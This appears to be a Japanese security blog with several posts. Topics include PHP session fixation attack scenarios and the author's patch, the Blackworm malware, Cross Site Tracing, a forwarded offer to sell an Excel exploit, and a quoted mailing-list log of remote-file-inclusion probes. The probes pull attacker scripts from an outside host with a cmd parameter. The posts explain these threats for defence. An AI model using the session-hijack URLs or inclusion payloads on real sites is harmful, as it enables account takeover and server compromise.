カテゴリー: Security

1枚からのIDカード

本物のIDカードがどんなカードか知らないと「私は○○です」とだまされる可能性が高くなります。ここでは10ユーロで世界中にIDカードを送ってくれるそうです。

10ユーロらしいのでチケットや物品の学割などに悪用されそう..
さすがに(?)オンラインで受け付けるとまずいと思ったのか注文書を郵送しなければならないようです。

しかし、多分日本語はダメでしょう(笑

HTTP Response Smuggling再来

HTTP Response Smuggling終わっていない、ということ。

スタンダード原理主義者では無いですが、\r, \nのみで改行扱いはどうかと…
HTTP Response Splittingも再来していたのであるとは思っていましたが…

SJISはあまり使わないようがよいかも

ちょっと思うところがってSJISはあまり使わない方がよいのでは考えています。色々なところで問題になりそうな気がします。時間が出来次第、色々調査・検証したいのですがいつになる事やら…

当分検証する時間は取れそうに無いので他の方が先に調査・検証するでしょうね。

# もし参考になるブログ、リンクを見つけられたら
# コメント、メール大歓迎です。

PHPのSession Fixation問題

PHPのセッション管理はセッションの固定化(Session Fixation)に脆弱であることは広く知れらていると思っていました。先日、php-users(ja)のMLに「Hardened PHPプロジェクトのStefanさんのパッチにSQLite Sessionモジュール用のセッションセーブハンドラパッチを追加したパッチを公開しました」と投稿しました。しかし、ダウンロード数等から推測するとセッションの固定化のリスクが正しく認識されていないのではないかと思えます。

セッション固定化のリスクを分かりやすく説明するには具体的な攻撃のシナリオを紹介した方がわかり易いのでいくつか説明します。以下の説明はデフォルト状態のPHPインストールでSession Fixation対策を行っていないのPHPアプリケーションに対して可能な攻撃の一例です。

1. メールによる攻撃

PHPアプリケーションで作成されたアカウントの乗っ取りは非常に簡単です。例えば、攻撃対象のアプリケーションのURLが

http://example.jp/

だとします。このページはセッション管理が必要なページだとします。攻撃者は

http://example.jp/?PHPSESSID=abcdefg

の様なURLをメールに送信し攻撃対象者にクリックさせます。これだけでセッションIDが
abcdefgになります。攻撃対象者がこのサイトのアプリケーションにログインするとabcdefgがセッションIDになるので攻撃者もセッションIDをabcdefgに設定してアクセスするだけで攻撃対象者のアカウントでWebサイトを利用できるようになります。

2. WebのURLによる攻撃

ログインが必要なサイトのURLが次のURLだとします。

http://example.com/login/

攻撃者はURLにセッションIDを記述したURLリンクを作成します。

http://example.com/login/?PHPSESSID=abcdefg

攻撃対象者がこのリンクをクリックするとセッションIDがabcdefgに設定されているので攻撃者はこのセッションIDを利用してサイトにアクセスできるようになります。

攻撃手法2を利用した場合、複数のユーザが同じセッションIDになってしまい攻撃されている事が直ぐに判明してしまうのでは?と思われるかも知れません。攻撃者が攻撃に利用するサイトでセッション管理を行い、各ユーザ毎に別のセッションID(攻撃者が生成したID)を割り当てれば同じユーザが同じセッションIDにならないので攻撃されている事は分からなくなります。攻撃者は既に判明しているセッションIDが利用可能(アカウントが乗っ取れる状態。つまり攻撃対象がログインしていないか)になっていないか後で確認するだけです。

http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession

のパッチは上記の攻撃全てを防ぐ事が可能なパッチなのですが、このブログを書いた時点では30ダウンロード(そのうち2回くらいは自分自身)しかありません。

自分の作ったアプリケーションでは独自に保護しているのでPHPのセッション管理がセッションの固定化に脆弱であっても影響を受けませんが、全てのPHPユーザが同じような対策を行っているとは思えません。オープンソースのPHPアプリケーションのほとんどがセッションIDの固定化攻撃に対して全く防御対策を施していない事からも多くのPHPアプリケーションがセッションID固定化に脆弱な状態で運用されていると容易に予想できます。

セッションIDの固定化に脆弱なPHPアプリケーションを利用している友人や同僚のアカウントを拝借する(特定のターゲットを目的とするスピアフィッシングですね)のは非常に簡単です。

もしかして私の予想に反して多くのPHPユーザはPHPがセッションIDの固定化問題に対処済みなのでしょうか?それともほとんどのユーザはPHP4?

追記:
ログイン後にのみ重要なデータを参照したり処理するアプリ(普通のアプリはそうだとは思いますが)の場合、ログイン後にsession_regenerate_id()でセッションIDを作り直せばログイン後のセッションは保護されるのでセキュリティ上の問題はほぼ発生しません。session_regenerate_id()は比較的最近に実装された関数ですが、この為に作られています。このパッチはURLのセッションIDは全て受け入れたくない場合に有効です。

Strict Session管理パッチ

PHPのセッションID管理がいまひとつであることは

http://blog.ohgaki.net/index.php/yohgaki/2005/12/24/strict_sessioncric

にも書きました。PHP 5.1.2用のパッチですがsqliteと一緒にコンパイルするとsqlite用のvalidationパッチが含まれていないのでビルドできませんでした。

MomongaLinux用にsqliteも一緒にビルドできるパッチを作成したのでWikiに載せました。もちろんSQLiteをセッションID管理に使用しても厳格なセッションID管理になります。必要な方は是非どうぞ。

http://wiki.ohgaki.net/index.php?PHP%2Fpatch%2FStrictSession

追記:
厳格なセッションID管理を行うパッチを適用したPHPをインストールした後、php.iniに

session.use_strict_mode = 1

を追加してください。これを追加しないと厳格なセッションID管理になりません。

PHP用のDefacing Tool

PHPで記述されたDefacing(Webページの改ざんのこと)Toolsの利用が増えてきている、という話です。

http://www.philippinehoneynet.org/charts_2006-01-20/defacingtool.txt

これがそのスクリプトです。読んで見ると、まずこれをなんらかの形でサーバ上で実行させてそれから攻撃、という使い方をするようです。

ファイルが消える前に!2月3日までにはやっておく事!

Blackwormと呼ばれているMalwareをご存知でしょうか?

このマルウェア、ある意味かなり古典的です。毎月3日になると

*.doc
*.xls
*.mdb
*.mde
*.ppt
*.pps
*.zip
*.rar
*.pdf
*.psd
*.dmp

などのファイル全部 *消して* くれるそうです。(正確(?)には上書きされるそうです)ディスク資源の節約を狙ったマルウェアは最近は少なくなってきているのですが、このマルウェアはかなりの台数のPCが感染しているそうです。当初は180万台ほどと推測されていたようですが、今は30万台程度ではないか、と予想しているそうです。このワームは感染したPCの台数を掲載しているサイトがあり、感染すると登録される仕組みになっているのでその数字によると180万とか30万と言う数字だそうです。

PCからこれらのファイルがなくなると、かなり悲しい事態になる方も少なくないと思われます。アンチウィルスソフトのシグニチャを更新してスキャンはもちろん、万が一の為にもバックアップが大丈夫か確認するのも悪くないかも知れません。

各ウィルスベンダーのソフトでは以下の名前で検出されるそうです。

AntiVir Worm/KillAV.GR
Avast! Win32:VB-CD [Wrm]
AVG Worm/Generic.FX
BitDefender Win32.Worm.P2P.ABM
ClamAV Worm.VB-8
Command W32/Kapser.A@mm (exact)
Dr Web Win32.HLLM.Generic.391
eSafe Win32.VB.bi
eTrust-INO Win32/Blackmal.F!Worm
eTrust-VET Win32/Blackmal.F
Ewido Worm.VB.bi
F-Prot W32/Kapser.A@mm (exact)
F-Secure Email-Worm.Win32.Nyxem.e
Fortinet W32/Grew.A!wm
Ikarus Email-Worm.Win32.VB.BI
Kaspersky Email-Worm.Win32.Nyxem.e
McAfee W32/MyWife.d@MM
Nod32 Win32/VB.NEI worm
Norman W32/Small.KI
Panda W32/Tearec.A.worm
QuickHeal I-Worm.Nyxem.e
Sophos W32/Nyxem-D
Symantec W32.Blackmal.E@mm
Trend Micro WORM_GREW.A
VBA32 Email-Worm.Win32.VB.bi
VirusBuster Worm.P2P.VB.CIL

出典:AV-Test.org

参考リンク:
http://sunbeltblog.blogspot.com/2006/01/february-3rd-is-possibly-d-day.html
http://sunbeltblog.blogspot.com/2006/01/blackworm-worm-over-18-million.html
http://isc.sans.org/diary.php?storyid=1067

Thunderbird 1.5のフィッシング対策ツール

数日前に思い切ってThunderbird 1.0から1.5にアップグレードしました。フィッシング対策ツールが付いてくるのは知っていましたがどの様な場合に知りませんでした。

調べて見ると

– URLがIPアドレスの場合
– URLのリンク先として表示されたアドレスと実際にリンク先が異なる場合

にフィッシングメールと判定されるようです。

シンプルな機能ですが役には立ちます。ただしエンドユーザはこの手のセキュリティ機能に不可能はほどの性能を期待している事がおおいので多少心配な機能でもあります。

HTMLメールのリンクをクリックする場合は実際のリンク先がどうなっているかチェックする習慣はついていますがあると便利なのは確かですね。
# この機能があると頼ってしまいそうですが。

XSTを知ってますか?

XSTとはCross Site Tracingの事で2003年にその危険性が指摘されました。

簡単に言うとクロスサイトスクリプティングに脆弱なWebサイトはTRACEメソッドでBasic認証のクレデンシャル(ユーザ名とパスワード)を盗まれてしまう、と言う問題です。当時、XmlHttpRequestが他のサイトにもリクエストを送信できたので非常に大きな問題でした。

現在のWebサーバはTRACEメソッドはデフォルトで無効にしてあります。今は大丈夫なハズだったのですがプロキシがある環境では大丈夫で無いかも、というレポートです。プロキシがTRACEメソッドを受け付けているとTRACEメッセージを返してしまうのかも知れません。実際に攻撃可能かは書いてないのですがsquid, apacheをプロキシとして利用している場合の対策が載っています。

Basic認証でユーザ管理をし、クッキーを利用するセッション管理していないのでクロスサイトスクリプティングの脆弱性を修正せずにいるサイト等が攻撃対象になります。

実はWebサイトのセキュリティ書籍を執筆していた時にXSTも解説していました。思いもよらない部分(TRACEメソッドのデフォルトでの有効化)でセキュリティホールが出来てしまった過去の例、として取り上げていたのですが現在進行形になったようです。まだ修正が間に合うので直さないとならないですね。
♯ 実際に攻撃可能か確認しないとならないですが。

脆弱性の販売

full-disclosureから。

少し前にeBayでセキュリティホールをオークションに出ていとブログに書きました。
今度は自分のWebサイトだけでなくMLに広告まで出しています。iDefense等は購入しなかったようです。企業としては正しい判断だと思います。基本的には無視が一番だと思いますが、この様な場合どう対処するべきなんでしょうね。

—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA1

It has not been possible for me to reach an agreement with zdi nor
idefense for selling the excel bug because I have publicly warned
about a remote command execution in my forum, I have tried to excuse
me about my selfstarting mistakes in the rssponsible disclosure nor to
explain them then if I find a 2nd excel critical bug , how can I
submit it to them since I have publicly warned about an excel flaw ?
You should reject actually any excel flaw no ?
No that’s it , they leave me alone with a critical excel flaw, so I
have no other way now to get paid for my research to leave an announce:

A critical excel flaw is for sale, if you wish to buy it what do you
will have:

– -full advisory (explaining how I have found it , how I exploit it)
– -full poc building a xls file, once this file opened , excel will
arbitrary run regedit.exe, a bindshellcode, or add an admin user.
– -you have all rights on it , since Im alone able to exploit it, you
will trust me, I never share privately, you will be the only owner of it.

if you wish to see what the bug does, I can compute some videos on
demand. And of course if you are willing to buy it , do not offer
something ridiculous.

for any informations , excel_for_sale@heapoverflow.com

note: I know this look like a joke, but I’m serious , I should be paid
for my security research , and I really dont want to help microsoft
for free, the auction is up for whitehats and blackhats, thanks to the
resposible programs on this.
I know I have made a mistake but this was still up to you to stop me.
—–BEGIN PGP SIGNATURE—–
Version: GnuPG v1.4.2 (MingW32)

iQIVAwUBQ8WG5q+LRXunxpxfAQJj3g//bc7pkBjMyBH8tey3XT6FaCIOI4toxdeZ
xeIBVjafFHddvwUIARDEO/FIy3RGNZbfY4O3y+NC+CyhJVc+HcMFplns9AYCutNk
P7WcQ+Ax8KJth4Bo2ol2B53gdLZ6rnSWyp8Xua2GWc9Z9d6rbfrQHZaY9s53j8XP
ITmo4Yoly1A8NnD3m1ZDRN2TrDsaBZQbd97vfi20oHUH41VAN9b/lU3UI9+QC8oo
TZVDVvYi4YTnNEUfWW5CQlJ9+kDxRPfRMhOVMo/oSXgbD/56s5vRHB7eMxakLWBb
jwrdTQ/5S7ez20sK3UIZmV3919TPVHQK0NF4OX8ZpLsHPrguDUUZXXePzMcnnibl
MHGkBVIegCojHyQth8WiHo0adCAoOcuIdFXmaXXFmg3NSstsv6AFQ64fJO7vOJYs
HJ0X5BKHHTPdIElT9Uzbif5UfdARCIOhgcF/e2hXpHX7PJYXahZTUtOYLmfQbIeT
QMRJL8wH1lIAhBJiIWo+ZUJ6YgnovS8YBsffYjtRUVe7e0v+oZsuAp6c4A0XWP7O
rywj7aXT8xsz5mkHGuN9W9EiKq7XgO0d3EGyp0XZcm03CuAriCwLN/exx1bJkcw/
gCsebwGTSHbyzVDyioqjfdNskQwIakmFZvlPGC3+9Rv1aiYogH8CpBOIJgvBvkCW
kmCQMX9ui1Y=
=khwl
—–END PGP SIGNATURE—–

ファイルインクルードブルートフォース攻撃

webappsecでこんなメールを見かけました。

For the most part I ignore the dozens of daily attacks against my system but this one caught my eye. Looks like some defacing groups are writing/implementing
perl scripts to identify query strings, and attempt php inclusion attacks against them (not using known exploits). Below is a log snippet.

202.226.224.67 – – [08/Jan/2006:21:32:43 -0500] “GET / HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35” 202.226.224.67 – – [08/Jan/2006:21:32:44 -0500] “GET /?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 37172 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:45 -0500] “GET /webservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24083 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:46 -0500] “GET /phishing/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 30626 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:47 -0500] “GET /database/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24267 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:48 -0500] “GET /appservers/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24521 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:49 -0500] “GET //lib/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 47471 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:50 -0500] “GET /archive/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 25445 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:51 -0500] “GET /development/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24286 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:52 -0500] “GET /ws/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29316 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:53 -0500] “GET //pen-test/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 29892 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:54 -0500] “GET /ajax/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 28338 “-” “lwp-trivial/1.35”
202.226.224.67 – – [08/Jan/2006:21:32:55 -0500] “GET /appfirewall/?ref=http://www.sanicentrum.be/private/tool25.dot?&cmd=cat%20bugado HTTP/1.0” 200 24073 “-” “lwp-trivial/1.35”

The script located at www.sanicentrum.be might interest some of you, as well as the include file it uses at http://www.sanicentrum.be/private/therules25.dot
and the many scripts it uses/looks for.

Working Referenced Links
* http://www.sanicentrum.be/private/tool25.dot
* http://www.sanicentrum.be/private/writer25.dot
* http://www.sanicentrum.be/private/get25.dot
* http://www.sanicentrum.be/private/filed25.dot
* http://www.sanicentrum.be/private/filed_put25.dot (Of Interest)
* http://www.sanicentrum.be/private/copyd25.dot
* http://www.sanicentrum.be/private/flist25.dot
* http://www.sanicentrum.be/private/style25.dot (Because every defacement group needs html templating :)

Non working (at this time)
* http://www.sanicentrum.be/private/safe25.dot

I’ve contacted sans since the parent host *appears* to be hacked.

– Robert
http://www.cgisecurity.com/ Website Security News, and more!
http://www.cgisecurity.com/index.rss [RSS Feed]

——————————————————————————-
Watchfire’s AppScan is the industry’s first and leading web application
security testing suite, and the only solution to provide comprehensive
remediation tasks at every level of the application. See for yourself.
Download AppScan 6.0 today.

https://www.watchfire.com/securearea/appscansix.aspx?id=701300000003Ssh
——————————————————————————-

Perlスクリプトでブルートフォース的にファイルインクルードバグがあるPHPスクリプトの攻撃を試みているようです。調べて見ると、私のサーバにも同様のアクセスログが残っていました。トップページにあるリンクを抽出し、クエリ文字列部分を書き換えて試してみる作りになっているようです。攻撃用のPHPスクリプトは削除されていて今はアクセスできないようです。

スクリプトインジェクションが出来るのであまり役に立たないとはいえallow_url_fopen=offなら万が一スクリプトインクルードバグがあってもこの攻撃からは守れますね。